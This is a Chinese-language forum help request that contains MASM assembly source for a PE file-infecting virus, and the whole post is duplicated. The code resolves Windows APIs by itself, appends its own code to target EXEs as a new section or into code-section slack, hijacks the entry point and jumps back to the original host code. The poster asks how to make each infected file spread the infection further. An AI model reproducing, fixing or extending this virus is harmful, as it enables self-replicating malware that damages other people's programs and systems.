-
-
[旧帖] [求助]请问pe感染填加后的节还有appencode开始点? 0.00雪花
-
发表于: 2014-7-14 15:11 1086
-
【求助】请问pe感染填加后的节还有appencode开始点?
一个pe感染文件病毒,我已经让给实现了到了感染节,从kernel,user32.dll里面找到函数,我想让添加到pe感染文件的节也具有母体的功能(母体死了它还能继续),但是我母体中给pe感染文件添加的节是从appencode-appenend为起点和终点的,pe感染的host能做母体的功能,发现他的目标能感染,但是无效,估计是host给他感染目标添加节的位置不对,我用w32dasm查看入口点有变化,但是不是指向新添加的节,所有它变成了无效程序,最后请问大神感染的host如何使用它感染节的起点和终点,作为新的感染节去感染其他的exe,也就是复制自己的感染节去感染其他exe
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE equ this byte
include _GetKernel.asm
;********************************************************************
_Getpsfl proc _lpFile,_lpPeHead,_dwSize,szFileName1
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
local @dwAddCodeBase,@dwAddCodeFile
local @szBuffer[256]:byte
LOCAL @dwReturn
local @ebx :dword
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
push ebx
;mov @ebx ,ebx
pop @ebx
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Ret]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
; lea ecx,@szNewFile
; mov byte ptr [ecx+eax-4],0
;invoke lstrcat,addr @szNewFile,addr szExt
;invoke CopyFile,addr szFileName,addr @szNewFile,FALSE
mov ecx ,@ebx
invoke [ecx+_CreateFileA], szFileName1,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
;invoke SetWindowText,hWinEdit,addr szErrCreate
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,_lpPeHead
assume esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke [ebx+_GlobalAlloc],GPTR,[esi].OptionalHeader.SizeOfHeaders
mov @lpMemory,eax
mov edi,eax
invoke [ebx+_RtlMoveMemory],edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
add edi,esi
sub edi,_lpFile
; mov edi ,esi
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
mov edx,edi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
pushad
mov edi,ebx
xor eax,eax
mov ecx,IMAGE_SECTION_HEADER
repz scasb
popad
.if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
xor eax,eax
mov ebx,edi
add ebx,sizeof IMAGE_NT_HEADERS
.while ax <= [esi].FileHeader.NumberOfSections
mov ecx,[ebx].SizeOfRawData
.if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
sub ecx,[ebx].Misc.VirtualSize
.if ecx > offset APPEND_CODE_END-offset APPEND_CODE
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jmp @F
.endif
.endif
add ebx,IMAGE_SECTION_HEADER
inc ax
.endw
mov ecx ,@ebx
invoke [ecx+_CloseHandle],@hFile
;invoke DeleteFile,addr @szNewFile
;invoke SetWindowText,hWinEdit,addr szErrNoRoom
jmp _Ret
@@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeBase,eax
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeFile,eax
add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,offset APPEND_CODE, ecx,addr @dwTemp,NULL
.else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
inc [edi].FileHeader.NumberOfSections
push edx
@@:
mov eax,[edx].PointerToRawData
;********************************************************************
; 当最后一个节是未初始化数据时,PointerToRawData和SizeOfRawData等于0
; 这时应该取前一个节的PointerToRawData和SizeOfRawData数据
;********************************************************************
.if ! eax
sub edx,sizeof IMAGE_SECTION_HEADER
jmp @B
.endif
add eax,[edx].SizeOfRawData
pop edx
mov [ebx].PointerToRawData,eax
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke _Align,ecx,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,ecx,[esi].OptionalHeader.SectionAlignment
add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [edi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
mov ecx ,@ebx
invoke [ecx+_lstrcpy],addr [ebx].Name1,addr [ecx+szMySection]
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_WriteFile],@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,eax,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_SetEndOfFile],@hFile
;********************************************************************
push [ebx].VirtualAddress ;eax = 新加代码的基地址
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
.endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
mov eax,@dwAddCodeBase
add eax,(offset _NewEntry-offset APPEND_CODE)
mov ebx,[esi].OptionalHeader.AddressOfEntryPoint
mov [edi].OptionalHeader.AddressOfEntryPoint,eax
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,0,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_WriteFile],@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
; push [esi].OptionalHeader.AddressOfEntryPoint
push ebx
pop @dwEntry
mov eax,@dwAddCodeBase
add eax,(offset _ToOldEntry-offset APPEND_CODE+5)
sub @dwEntry,eax
mov ecx,@dwAddCodeFile
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,ecx,NULL,FILE_BEGIN
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
mov ecx ,@ebx
invoke [ ecx +_GlobalFree],@lpMemory
mov ecx ,@ebx
invoke [ ecx +_CloseHandle],@hFile
;invoke wsprintf,addr @szBuffer,Addr szSuccess,szFileName1
;invoke MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK
;invoke SetWindowText,hWinEdit,addr @szBuffer
mov @dwReturn,eax
;********************************************************************
_Ret:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_Getpsfl endp
;********************************************************************
;********************************************************************
_Goprocs proc @szFileName2
local @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwReturn
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
invoke [ebx+_CreateFileA],@szFileName2,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke [ebx+_GetFileSize],eax,NULL
mov @dwFileSize,eax
.if eax
invoke [ebx+_CreateFileMappingA],@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrFormat
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrFormat
.endif
invoke _Getpsfl,@lpMemory,esi,@dwFileSize, @szFileName2
;invoke [ebx+_MessageBox],NULL, @szFileName2,offset szCaption,MB_OK
jmp _ErrorExit
_ErrFormat:
invoke [ebx+_MessageBox],NULL,addr szErrFormat,NULL,MB_OK
_ErrorExit:
invoke [ebx+_UnmapViewOfFile],@lpMemory
.endif
invoke [ebx+_CloseHandle],@hMapFile
.endif
invoke [ebx+_CloseHandle],@hFile
.endif
.endif
;;ret
mov @dwReturn ,1
;********************************************************************
_PageError:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_Goprocs endp
;********************************************************************
_NewEntry:
call @F
@@:
pop ebx
sub ebx,offset @B
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
ret
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
ret
.endif
mov [ebx+_GetProcAddress],eax
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
mov [ebx+hDllUser32],eax
lea eax,[ebx+szRtlMoveMemory ]
;invoke _Getfunc,[ebx+hDllKernel32],dword ptr[ebx+szRtlMoveMemory ]
invoke _Getfunck,eax
mov [ebx+_RtlMoveMemory ],eax
lea eax,[ebx+szCreateFileA ] ;找creatfile
invoke _Getfunck,eax
mov [ebx+_CreateFileA ],eax
lea eax,[ebx+szGlobalAlloc]
invoke _Getfunck,eax
mov [ebx+_GlobalAlloc ],eax
lea eax,[ebx+szSetFilePointer]
invoke _Getfunck,eax
mov [ebx+_SetFilePointer ],eax
lea eax,[ebx+szWriteFile]
invoke _Getfunck,eax
mov [ebx+_WriteFile ],eax
lea eax,[ebx+szSetEndOfFile]
invoke _Getfunck,eax
mov [ebx+_SetEndOfFile],eax
lea eax,[ebx+szGlobalFree]
invoke _Getfunck,eax
mov [ebx+_GlobalFree ],eax
lea eax,[ebx+szCloseHandle ]
invoke _Getfunck,eax
mov [ebx+_CloseHandle ],eax
lea eax,[ebx+szGetFileSize]
invoke _Getfunck,eax
mov [ebx+_GetFileSize ],eax
lea eax,[ebx+szMapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_MapViewOfFile ],eax
lea eax,[ebx+szUnmapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_UnmapViewOfFile],eax
lea eax,[ebx+szCreateFileMappingA] ;找szCreateFileMappingA
invoke _Getfunck,eax
mov [ebx+_CreateFileMappingA ],eax
lea eax,[ebx+szlstrcpy] ;找szlstrcpy
invoke _Getfunck,eax
mov [ebx+_lstrcpy ],eax
invoke [ebx+_lstrcpy ],addr [ebx+ szText],addr [ebx+szText2]
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
invoke _Goprocs,addr [ebx+cpan]
.if eax == 1
lea ecx,[ebx+szText]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
.if eax != IDYES
ret
.endif
.endif
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte
一个pe感染文件病毒,我已经让给实现了到了感染节,从kernel,user32.dll里面找到函数,我想让添加到pe感染文件的节也具有母体的功能(母体死了它还能继续),但是我母体中给pe感染文件添加的节是从appencode-appenend为起点和终点的,pe感染的host能做母体的功能,发现他的目标能感染,但是无效,估计是host给他感染目标添加节的位置不对,我用w32dasm查看入口点有变化,但是不是指向新添加的节,所有它变成了无效程序,最后请问大神感染的host如何使用它感染节的起点和终点,作为新的感染节去感染其他的exe,也就是复制自己的感染节去感染其他exe
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 被添加到目标文件中的代码从这里开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE equ this byte
include _GetKernel.asm
;********************************************************************
_Getpsfl proc _lpFile,_lpPeHead,_dwSize,szFileName1
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
local @dwAddCodeBase,@dwAddCodeFile
local @szBuffer[256]:byte
LOCAL @dwReturn
local @ebx :dword
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
push ebx
;mov @ebx ,ebx
pop @ebx
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _Ret]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
;********************************************************************
; (Part 1)准备工作:1-建立新文件,2-打开文件
;********************************************************************
; lea ecx,@szNewFile
; mov byte ptr [ecx+eax-4],0
;invoke lstrcat,addr @szNewFile,addr szExt
;invoke CopyFile,addr szFileName,addr @szNewFile,FALSE
mov ecx ,@ebx
invoke [ecx+_CreateFileA], szFileName1,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
;invoke SetWindowText,hWinEdit,addr szErrCreate
jmp _Ret
.endif
mov @hFile,eax
;********************************************************************
;(Part 2)进行一些准备工作和检测工作
; esi --> 原PeHead,edi --> 新的PeHead
; edx --> 最后一个节表,ebx --> 新加的节表
;********************************************************************
mov esi,_lpPeHead
assume esi:ptr IMAGE_NT_HEADERS,edi:ptr IMAGE_NT_HEADERS
invoke [ebx+_GlobalAlloc],GPTR,[esi].OptionalHeader.SizeOfHeaders
mov @lpMemory,eax
mov edi,eax
invoke [ebx+_RtlMoveMemory],edi,_lpFile,[esi].OptionalHeader.SizeOfHeaders
add edi,esi
sub edi,_lpFile
; mov edi ,esi
movzx eax,[esi].FileHeader.NumberOfSections
dec eax
mov ecx,sizeof IMAGE_SECTION_HEADER
mul ecx
mov edx,edi
add edx,eax
add edx,sizeof IMAGE_NT_HEADERS
mov ebx,edx
add ebx,sizeof IMAGE_SECTION_HEADER
assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER
;********************************************************************
; (Part 2.1)检查是否有空闲的位置可供插入节表
;********************************************************************
pushad
mov edi,ebx
xor eax,eax
mov ecx,IMAGE_SECTION_HEADER
repz scasb
popad
.if ! ZERO?
;********************************************************************
; (Part 3.1)如果没有新的节表空间的话,则查看现存代码节的最后
; 是否存在足够的全零空间,如果存在则在此处加入代码
;********************************************************************
xor eax,eax
mov ebx,edi
add ebx,sizeof IMAGE_NT_HEADERS
.while ax <= [esi].FileHeader.NumberOfSections
mov ecx,[ebx].SizeOfRawData
.if ecx && ([ebx].Characteristics & IMAGE_SCN_MEM_EXECUTE)
sub ecx,[ebx].Misc.VirtualSize
.if ecx > offset APPEND_CODE_END-offset APPEND_CODE
or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jmp @F
.endif
.endif
add ebx,IMAGE_SECTION_HEADER
inc ax
.endw
mov ecx ,@ebx
invoke [ecx+_CloseHandle],@hFile
;invoke DeleteFile,addr @szNewFile
;invoke SetWindowText,hWinEdit,addr szErrNoRoom
jmp _Ret
@@:
;********************************************************************
; 将新增代码加入代码节的空隙中
;********************************************************************
mov eax,[ebx].VirtualAddress
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeBase,eax
mov eax,[ebx].PointerToRawData
add eax,[ebx].Misc.VirtualSize
mov @dwAddCodeFile,eax
add [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,@dwAddCodeFile,NULL,FILE_BEGIN
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,offset APPEND_CODE, ecx,addr @dwTemp,NULL
.else
;********************************************************************
; (Part 3.2)如果有新的节表空间的话,加入一个新的节
;********************************************************************
inc [edi].FileHeader.NumberOfSections
push edx
@@:
mov eax,[edx].PointerToRawData
;********************************************************************
; 当最后一个节是未初始化数据时,PointerToRawData和SizeOfRawData等于0
; 这时应该取前一个节的PointerToRawData和SizeOfRawData数据
;********************************************************************
.if ! eax
sub edx,sizeof IMAGE_SECTION_HEADER
jmp @B
.endif
add eax,[edx].SizeOfRawData
pop edx
mov [ebx].PointerToRawData,eax
mov ecx,offset APPEND_CODE_END-offset APPEND_CODE
invoke _Align,ecx,[esi].OptionalHeader.FileAlignment
mov [ebx].SizeOfRawData,eax
invoke _Align,ecx,[esi].OptionalHeader.SectionAlignment
add [edi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode
add [edi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage
invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment
add eax,[edx].VirtualAddress
mov [ebx].VirtualAddress,eax
mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE
mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\
or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
mov ecx ,@ebx
invoke [ecx+_lstrcpy],addr [ebx].Name1,addr [ecx+szMySection]
;********************************************************************
; 将新增代码作为一个新的节写到文件尾部
;********************************************************************
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_WriteFile],@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\
addr @dwTemp,NULL
mov eax,[ebx].PointerToRawData
add eax,[ebx].SizeOfRawData
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,eax,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_SetEndOfFile],@hFile
;********************************************************************
push [ebx].VirtualAddress ;eax = 新加代码的基地址
pop @dwAddCodeBase
push [ebx].PointerToRawData
pop @dwAddCodeFile
.endif
;********************************************************************
; (Part 4)修正文件入口指针并写入新的文件头
;********************************************************************
mov eax,@dwAddCodeBase
add eax,(offset _NewEntry-offset APPEND_CODE)
mov ebx,[esi].OptionalHeader.AddressOfEntryPoint
mov [edi].OptionalHeader.AddressOfEntryPoint,eax
mov ecx ,@ebx
invoke [ecx+_SetFilePointer],@hFile,0,NULL,FILE_BEGIN
mov ecx ,@ebx
invoke [ecx+_WriteFile],@hFile,@lpMemory,[esi].OptionalHeader.SizeOfHeaders,\
addr @dwTemp,NULL
;********************************************************************
; (Part 5)修正新加代码中的 Jmp oldEntry 指令
;********************************************************************
; push [esi].OptionalHeader.AddressOfEntryPoint
push ebx
pop @dwEntry
mov eax,@dwAddCodeBase
add eax,(offset _ToOldEntry-offset APPEND_CODE+5)
sub @dwEntry,eax
mov ecx,@dwAddCodeFile
add ecx,(offset _dwOldEntry-offset APPEND_CODE)
mov edx ,@ebx
invoke [edx+_SetFilePointer],@hFile,ecx,NULL,FILE_BEGIN
mov edx ,@ebx
invoke [edx+_WriteFile],@hFile,addr @dwEntry,4,addr @dwTemp,NULL
;********************************************************************
; (Part 6)关闭文件
;********************************************************************
mov ecx ,@ebx
invoke [ ecx +_GlobalFree],@lpMemory
mov ecx ,@ebx
invoke [ ecx +_CloseHandle],@hFile
;invoke wsprintf,addr @szBuffer,Addr szSuccess,szFileName1
;invoke MessageBox,NULL,addr @szBuffer,offset szCaption,MB_OK
;invoke SetWindowText,hWinEdit,addr @szBuffer
mov @dwReturn,eax
;********************************************************************
_Ret:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_Getpsfl endp
;********************************************************************
;********************************************************************
_Goprocs proc @szFileName2
local @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwReturn
pushad
mov @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
call @F
@@:
pop ebx
sub ebx,offset @B
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
assume fs:nothing
push ebp
lea eax,[ebx + offset _PageError]
push eax
lea eax,[ebx + offset _SEHHandler]
push eax
push fs:[0]
mov fs:[0],esp
;********************************************************************
;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
invoke [ebx+_CreateFileA],@szFileName2,GENERIC_READ,FILE_SHARE_READ or \
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov @hFile,eax
invoke [ebx+_GetFileSize],eax,NULL
mov @dwFileSize,eax
.if eax
invoke [ebx+_CreateFileMappingA],@hFile,NULL,PAGE_READONLY,0,0,NULL
.if eax
mov @hMapFile,eax
invoke [ebx+_MapViewOfFile],eax,FILE_MAP_READ,0,0,0
.if eax
mov @lpMemory,eax
;********************************************************************
; 创建用于错误处理的 SEH 结构
;********************************************************************
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
mov esi,@lpMemory
assume esi:ptr IMAGE_DOS_HEADER
.if [esi].e_magic != IMAGE_DOS_SIGNATURE
jmp _ErrFormat
.endif
add esi,[esi].e_lfanew
assume esi:ptr IMAGE_NT_HEADERS
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _ErrFormat
.endif
invoke _Getpsfl,@lpMemory,esi,@dwFileSize, @szFileName2
;invoke [ebx+_MessageBox],NULL, @szFileName2,offset szCaption,MB_OK
jmp _ErrorExit
_ErrFormat:
invoke [ebx+_MessageBox],NULL,addr szErrFormat,NULL,MB_OK
_ErrorExit:
invoke [ebx+_UnmapViewOfFile],@lpMemory
.endif
invoke [ebx+_CloseHandle],@hMapFile
.endif
invoke [ebx+_CloseHandle],@hFile
.endif
.endif
;;ret
mov @dwReturn ,1
;********************************************************************
_PageError:
pop fs:[0]
add esp,0ch
assume esi:nothing
popad
mov eax,@dwReturn
ret
_Goprocs endp
;********************************************************************
_NewEntry:
call @F
@@:
pop ebx
sub ebx,offset @B
invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
.if ! eax
ret
.endif
mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口
lea eax,[ebx+szGetProcAddress]
invoke _GetApi,[ebx+hDllKernel32],eax
.if ! eax
ret
.endif
mov [ebx+_GetProcAddress],eax
lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口
invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax
mov [ebx+_LoadLibrary],eax
lea eax,[ebx+szUser32] ;获取User32.dll基址
invoke [ebx+_LoadLibrary],eax
mov [ebx+hDllUser32],eax
lea eax,[ebx+szRtlMoveMemory ]
;invoke _Getfunc,[ebx+hDllKernel32],dword ptr[ebx+szRtlMoveMemory ]
invoke _Getfunck,eax
mov [ebx+_RtlMoveMemory ],eax
lea eax,[ebx+szCreateFileA ] ;找creatfile
invoke _Getfunck,eax
mov [ebx+_CreateFileA ],eax
lea eax,[ebx+szGlobalAlloc]
invoke _Getfunck,eax
mov [ebx+_GlobalAlloc ],eax
lea eax,[ebx+szSetFilePointer]
invoke _Getfunck,eax
mov [ebx+_SetFilePointer ],eax
lea eax,[ebx+szWriteFile]
invoke _Getfunck,eax
mov [ebx+_WriteFile ],eax
lea eax,[ebx+szSetEndOfFile]
invoke _Getfunck,eax
mov [ebx+_SetEndOfFile],eax
lea eax,[ebx+szGlobalFree]
invoke _Getfunck,eax
mov [ebx+_GlobalFree ],eax
lea eax,[ebx+szCloseHandle ]
invoke _Getfunck,eax
mov [ebx+_CloseHandle ],eax
lea eax,[ebx+szGetFileSize]
invoke _Getfunck,eax
mov [ebx+_GetFileSize ],eax
lea eax,[ebx+szMapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_MapViewOfFile ],eax
lea eax,[ebx+szUnmapViewOfFile]
invoke _Getfunck,eax
mov [ebx+_UnmapViewOfFile],eax
lea eax,[ebx+szCreateFileMappingA] ;找szCreateFileMappingA
invoke _Getfunck,eax
mov [ebx+_CreateFileMappingA ],eax
lea eax,[ebx+szlstrcpy] ;找szlstrcpy
invoke _Getfunck,eax
mov [ebx+_lstrcpy ],eax
invoke [ebx+_lstrcpy ],addr [ebx+ szText],addr [ebx+szText2]
lea eax,[ebx+szMessageBox] ;获取MessageBox入口
invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax
mov [ebx+_MessageBox],eax
invoke _Goprocs,addr [ebx+cpan]
.if eax == 1
lea ecx,[ebx+szText]
lea eax,[ebx+szCaption]
invoke [ebx+_MessageBox],NULL,ecx,eax,MB_YESNO or MB_ICONQUESTION
.if eax != IDYES
ret
.endif
.endif
_ToOldEntry:
db 0e9h ;0e9h是jmp xxxxxxxx的机器码
_dwOldEntry:
dd ? ;用来填入原来的入口地址
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
APPEND_CODE_END equ this byte
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
看原图
赞赏
雪币:
留言: